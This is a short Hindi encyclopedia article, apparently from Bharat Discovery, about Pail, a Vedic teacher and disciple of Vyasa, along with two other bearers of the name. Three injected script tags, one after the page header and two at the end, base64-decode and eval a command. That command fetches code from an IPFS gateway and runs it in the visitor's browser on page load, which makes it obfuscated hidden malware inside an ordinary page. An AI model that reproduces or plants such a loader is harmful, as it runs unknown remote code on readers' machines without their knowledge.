पैल

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पैल नाम तीन संदर्भों में मिलता है

  1. व्यास के एक शिष्य का नाम जो ऋग्वेद के आचार्य थे[1]। इन्हें ऋग्वेद की शिक्षा दी गयी थी। इन्होंने इंद्रप्रमिति तथा बाष्कल को इसकी शिक्षा दी[2]। इन्हें युधिष्ठिर के राजसूय यज्ञ में निमंत्रित किया गया था[3]। यह 86 श्रुतर्षियों में से एक श्रुतर्षि थे[4]। इन्होंने अपने पाठ्य विषय के दो भाग कर अपने उपर्युक्त शिष्यों को दिये[5]
  2. शाकवैण रथीतर के चार शिष्यों में से एक शिष्य[6]
  3. एक भार्गव गोत्रकार ऋषि[7]


टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>